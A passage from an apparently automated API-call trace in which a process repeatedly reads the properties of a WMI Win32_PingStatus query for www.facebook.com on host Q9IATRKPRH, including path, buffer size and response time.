varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22e538c*=8200, plFlavor=0x22e5390*=64) returned 0x0 [0140.649] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e53c0*=0, plFlavor=0x22e53c4*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22e53c0*=8, plFlavor=0x22e53c4*=64) returned 0x0 [0140.649] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.649] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.649] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e540c*=0, plFlavor=0x22e5410*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22e540c*=8, plFlavor=0x22e5410*=64) returned 0x0 [0140.649] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.650] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.650] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5458*=0, plFlavor=0x22e545c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e5458*=8, plFlavor=0x22e545c*=64) returned 0x0 [0140.650] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.650] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.650] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e93c | out: puCount=0x572e93c*=0x2) returned 0x0 [0140.650] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0x0, pszText=0x0 | out: puBuffLength=0x572e938*=0xf, pszText=0x0) returned 0x0 [0140.650] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e938*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.650] IWbemClassObject:Get (in: This=0x5c50300, wszName="BufferSize", lFlags=0, pVal=0x572e938*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5694*=0, plFlavor=0x22e5698*=0 | out: pVal=0x572e938*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22e5694*=19, plFlavor=0x22e5698*=0) returned 0x0 [0140.650] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0140.650] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0140.650] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.650] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0140.650] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0140.650] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.651] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0140.651] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0140.651] SafeArrayGetDim (psa=0x5c78cc8) returned 0x1 [0140.651] SafeArrayGetLBound (in: psa=0x5c78cc8, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0140.651] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.651] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.651] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.651] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.651] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.651] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.651] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.651] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.651] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.651] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.651] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.651] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.651] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.651] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.651] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.652] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.652] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.652] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.652] SysStringByteLen (bstr="__PATH") returned 0xc [0140.652] SysStringByteLen (bstr="__PATH") returned 0xc [0140.652] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5a48*=0, plFlavor=0x22e5a4c*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22e5a48*=3, plFlavor=0x22e5a4c*=64) returned 0x0 [0140.652] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5a7c*=0, plFlavor=0x22e5a80*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e5a7c*=8, plFlavor=0x22e5a80*=64) returned 0x0 [0140.652] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.652] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.652] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5ad4*=0, plFlavor=0x22e5ad8*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5ad4*=8, plFlavor=0x22e5ad8*=64) returned 0x0 [0140.652] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5afc*=0, plFlavor=0x22e5b00*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e5afc*=8, plFlavor=0x22e5b00*=64) returned 0x0 [0140.652] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.653] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.653] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5b54*=0, plFlavor=0x22e5b58*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e5b54*=8, plFlavor=0x22e5b58*=64) returned 0x0 [0140.653] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.653] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.653] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5d34*=0, plFlavor=0x22e5d38*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22e5d34*=3, plFlavor=0x22e5d38*=64) returned 0x0 [0140.653] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5d68*=0, plFlavor=0x22e5d6c*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78db8*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22e5d68*=8200, plFlavor=0x22e5d6c*=64) returned 0x0 [0140.653] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5d9c*=0, plFlavor=0x22e5da0*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22e5d9c*=8, plFlavor=0x22e5da0*=64) returned 0x0 [0140.653] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.653] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.654] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5de8*=0, plFlavor=0x22e5dec*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22e5de8*=8, plFlavor=0x22e5dec*=64) returned 0x0 [0140.657] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.657] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.658] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e5e34*=0, plFlavor=0x22e5e38*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e5e34*=8, plFlavor=0x22e5e38*=64) returned 0x0 [0140.658] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.658] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.658] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e970 | out: puCount=0x572e970*=0x2) returned 0x0 [0140.658] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0x0, pszText=0x0 | out: puBuffLength=0x572e96c*=0xf, pszText=0x0) returned 0x0 [0140.658] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e96c*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e96c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.658] IWbemClassObject:Get (in: This=0x5c50300, wszName="BufferSize", lFlags=0, pVal=0x572e96c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e607c*=0, plFlavor=0x22e6080*=0 | out: pVal=0x572e96c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22e607c*=19, plFlavor=0x22e6080*=0) returned 0x0 [0140.658] IWbemClassObject:Get (in: This=0x5c50300, wszName="BufferSize", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e607c*=19, plFlavor=0x22e6080*=0 | out: pVal=0x572ea20*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22e607c*=19, plFlavor=0x22e6080*=0) returned 0x0 [0140.659] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0140.659] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0140.659] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.659] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0140.659] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0140.659] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.659] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0140.659] SafeArrayGetDim (psa=0x5c78c98) returned 0x1 [0140.659] SafeArrayGetDim (psa=0x5c78c98) returned 0x1 [0140.659] SafeArrayGetLBound (in: psa=0x5c78c98, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0140.659] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.659] SysStringByteLen (bstr="__GENUS") returned 0xe [0140.660] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.660] SysStringByteLen (bstr="__CLASS") returned 0xe [0140.660] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.660] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0140.660] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.660] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0140.660] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.660] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0140.660] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.660] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0140.660] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.660] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0140.660] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.660] SysStringByteLen (bstr="__SERVER") returned 0x10 [0140.660] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.660] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0140.660] SysStringByteLen (bstr="__PATH") returned 0xc [0140.660] SysStringByteLen (bstr="__PATH") returned 0xc [0140.660] IWbemClassObject:Get (in: This=0x5c50300, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e65a8*=0, plFlavor=0x22e65ac*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x22e65a8*=3, plFlavor=0x22e65ac*=64) returned 0x0 [0140.661] IWbemClassObject:Get (in: This=0x5c50300, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e65dc*=0, plFlavor=0x22e65e0*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e65dc*=8, plFlavor=0x22e65e0*=64) returned 0x0 [0140.661] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.661] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.661] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e6634*=0, plFlavor=0x22e6638*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e6634*=8, plFlavor=0x22e6638*=64) returned 0x0 [0140.661] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e665c*=0, plFlavor=0x22e6660*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x22e665c*=8, plFlavor=0x22e6660*=64) returned 0x0 [0140.661] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.661] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0140.661] IWbemClassObject:Get (in: This=0x5c50300, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e66b4*=0, plFlavor=0x22e66b8*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e66b4*=8, plFlavor=0x22e66b8*=64) returned 0x0 [0140.661] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.661] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0140.661] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e6894*=0, plFlavor=0x22e6898*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x22e6894*=3, plFlavor=0x22e6898*=64) returned 0x0 [0140.662] IWbemClassObject:Get (in: This=0x5c50300, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e68c8*=0, plFlavor=0x22e68cc*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78d88*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c58748, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x22e68c8*=8200, plFlavor=0x22e68cc*=64) returned 0x0 [0140.662] IWbemClassObject:Get (in: This=0x5c50300, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e68fc*=0, plFlavor=0x22e6900*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x22e68fc*=8, plFlavor=0x22e6900*=64) returned 0x0 [0140.662] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.662] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0140.662] IWbemClassObject:Get (in: This=0x5c50300, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e6948*=0, plFlavor=0x22e694c*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x22e6948*=8, plFlavor=0x22e694c*=64) returned 0x0 [0140.662] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.662] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0140.662] IWbemClassObject:Get (in: This=0x5c50300, wszName="__PATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e6994*=0, plFlavor=0x22e6998*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x22e6994*=8, plFlavor=0x22e6998*=64) returned 0x0 [0140.663] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.663] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0140.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e93c | out: puCount=0x572e93c*=0x2) returned 0x0 [0140.663] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0x0, pszText=0x0 | out: puBuffLength=0x572e938*=0xf, pszText=0x0) returned 0x0 [0140.663] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e938*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e938*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.663] IWbemClassObject:Get (in: This=0x5c50300, wszName="ResponseTime", lFlags=0, pVal=0x572e938*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22e6bd0*=0, plFlavor=0x22e6bd4*=0 | out: pVal=0x572e938*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x12, varVal2=0x0), pType=0x22e6bd0*=19, plFlavor=0x22e6bd4*=0) returned 0x0 [0140.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0140.663] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0140.663] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.663] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0140.663] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0140.663] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0140.663] IWbemClassObject:GetNames (in: This=0x5c50300, wszQualifierName=0x0, 